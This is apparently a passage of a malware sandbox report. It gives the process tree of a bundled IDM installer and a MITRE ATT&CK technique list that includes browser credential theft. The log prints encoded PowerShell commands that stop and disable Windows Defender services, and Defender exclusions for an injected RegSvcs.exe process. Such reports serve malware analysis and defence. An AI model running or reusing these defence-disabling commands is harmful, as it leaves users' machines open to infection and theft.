    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:3896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGQATgBpAHMAUwB2AGMAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:4516
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      PID:3340
- - C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\program1.exe
    "C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\program1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Installs/modifies Browser Helper Object
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:4988
  - - C:\Windows\SysWOW64\regsvr32.exe
      regsvr32.exe /s "C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\IDMShellExt64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2876
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html
      4⤵
      PID:4244
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.internetdownloadmanager.com/support/installffextfrommozillasite.html
        5⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:3304
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2008 -prefsLen 27100 -prefMapHandle 2012 -prefMapSize 270279 -ipcHandle 2088 -initialChannelId {fc011aee-5e5c-4433-b135-aab93e2c06de} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        6⤵
        
        PID:4792
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2484 -prefsLen 27136 -prefMapHandle 2488 -prefMapSize 270279 -ipcHandle 2512 -initialChannelId {c49c8a20-3f7d-41b3-9124-5373bcfbb992} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        6⤵
        Checks processor information in registry
        
        PID:2508
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3096 -prefsLen 25164 -prefMapHandle 3104 -prefMapSize 270279 -jsInitHandle 3108 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3848 -initialChannelId {932818a7-e1b6-4a97-88cf-4713a2275360} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        6⤵
        Checks processor information in registry
        
        PID:3648
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3996 -prefsLen 27277 -prefMapHandle 4000 -prefMapSize 270279 -ipcHandle 4092 -initialChannelId {a05f0f4c-6001-409d-acad-61f0696ae001} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        6⤵
        
        PID:4992
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2908 -prefsLen 34776 -prefMapHandle 2676 -prefMapSize 270279 -jsInitHandle 4316 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4324 -initialChannelId {2db5339a-87f8-4652-a55f-cb93448a5e97} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        6⤵
        Checks processor information in registry
        
        PID:5400
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4664 -prefsLen 34932 -prefMapHandle 4668 -prefMapSize 270279 -jsInitHandle 4672 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4680 -initialChannelId {e3a3c484-095e-44a1-92f0-f5a366d33f4b} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        6⤵
        Checks processor information in registry
        
        PID:5588
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4232 -prefsLen 35013 -prefMapHandle 4224 -prefMapSize 270279 -ipcHandle 4216 -initialChannelId {eb327340-0de5-43b0-a4cd-436e40685e4b} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 utility
        6⤵
        Checks processor information in registry
        
        PID:6536
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5220 -prefsLen 32900 -prefMapHandle 5228 -prefMapSize 270279 -jsInitHandle 5224 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5248 -initialChannelId {8243eed5-2e0a-4127-b010-224409143b1c} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        6⤵
        Checks processor information in registry
        
        PID:6624
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5364 -prefsLen 32900 -prefMapHandle 5368 -prefMapSize 270279 -jsInitHandle 5372 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5376 -initialChannelId {97afe7ad-e688-4efc-9e6d-a67a4a3f3a44} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        6⤵
        Checks processor information in registry
        
        PID:6632
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5676 -prefsLen 32952 -prefMapHandle 5680 -prefMapSize 270279 -jsInitHandle 5684 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5692 -initialChannelId {e138c3c7-ec4b-451f-b970-39810b13b8e4} -parentPid 3304 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3304" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        6⤵
        Checks processor information in registry
        
        PID:6640
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\IDMShellExt64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5296
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\IDMIECC64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5320
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\IDMGetAll64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5348
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\System32\regsvr32.exe" /s "C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\downlWithIDM64.dll"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5392
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" http://www.internetdownloadmanager.com/download2.html
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:7144
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x358,0x7ffb87e9c188,0x7ffb87e9c194,0x7ffb87e9c1a0
        5⤵
        
        PID:5860
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2012,i,12041414536604527346,15997524974780762517,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=2228 /prefetch:3
        5⤵
        System Time Discovery
        
        PID:5200
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1736,i,5898994302133764828,6857893418936874346,262144 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:2
        5⤵
        
        PID:4984
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2584,i,6740997115883142133,1419915800368717852,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=1428 /prefetch:8
        5⤵
        
        PID:3044
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3512,i,10681877098927536247,5427447815753574180,2097152 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=3524 /prefetch:1
        5⤵
        
        PID:5672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3520,i,2804663864583631842,9415529369805878875,2097152 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:1
        5⤵
        
        PID:5640
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4304,i,2970330295136553389,13766510253077023567,2097152 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:1
        5⤵
        
        PID:5228
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4324,i,9453426759479147220,1639363061228524918,2097152 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:2
        5⤵
        
        PID:2456
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4992,i,11005537598997363371,13479626407634813798,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:8
        5⤵
        
        PID:6356
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4316,i,12720026436150920580,13926709272652568905,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:8
        5⤵
        
        PID:6860
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3724,i,1648860636339873972,2254297026049808041,2097152 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=3684 /prefetch:1
        5⤵
        
        PID:7000
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5320,i,3078394893137240767,14737432304918996829,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:8
        5⤵
        
        PID:6140
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3656,i,16536377289441307946,9984077573528216475,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:8
        5⤵
        
        PID:4876
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5788,i,1524923043220918492,12040403184807821834,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
        5⤵
        
        PID:5156
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5788,i,1524923043220918492,12040403184807821834,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
        5⤵
        
        PID:5144
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6052,i,663687021985332065,5130215533160321300,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:8
        5⤵
        
        PID:6880
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6204,i,16861822069091871664,13502575304256687829,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=6216 /prefetch:8
        5⤵
        
        PID:5968
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,10857149694596102415,5045413044689020057,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:8
        5⤵
        
        PID:5800
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6236,i,15734587294612709785,383289914141443850,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=6504 /prefetch:8
        5⤵
        
        PID:5152
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5868,i,11585307391427908229,13501463347313517633,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=6364 /prefetch:8
        5⤵
        
        PID:5840
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4364,i,8253571743324271073,12279286843858373517,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:8
        5⤵
        
        PID:5056
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4400,i,17733032747261098495,8211029563338496784,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:8
        5⤵
        
        PID:7004
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4420,i,10473066764275731057,13520614057585474946,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:8
        5⤵
        
        PID:5988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4644,i,7408517017309870237,5599366500238118293,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:8
        5⤵
        
        PID:5100
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3788,i,17195580567428566205,14407950661937901247,524288 --field-trial-handle=1952,i,8581174704193382928,2614960934756324970,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:8
        5⤵
        
        PID:6688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\program2.exe"
    3⤵
    PID:3872
  - - C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\program2.exe
      C:\Users\Admin\AppData\Local\Temp\_temp_788_fkhs\program2.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:4520
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of SetWindowsHookEx
        
        PID:6744
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:6340
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegSvcs.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:6384

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Browser Extensions

T1176

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery